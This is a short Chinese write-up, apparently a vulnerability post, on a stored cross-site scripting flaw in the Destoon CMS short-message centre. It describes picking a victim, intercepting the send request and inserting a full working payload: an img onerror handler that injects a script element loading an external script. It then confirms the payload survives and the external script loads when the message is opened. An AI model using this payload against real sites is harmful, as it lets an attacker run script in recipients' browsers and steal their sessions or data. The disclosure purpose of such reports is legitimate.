destoon新版短消息中心xss指谁打谁。首先选取一个对象我们去发消息
然后抓包，往里面填充我们的xss代码
其中的xss
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='xsscode';>
然后我们来试着点开该信息，审查元素，代码完好
看网络连接，加载成功了
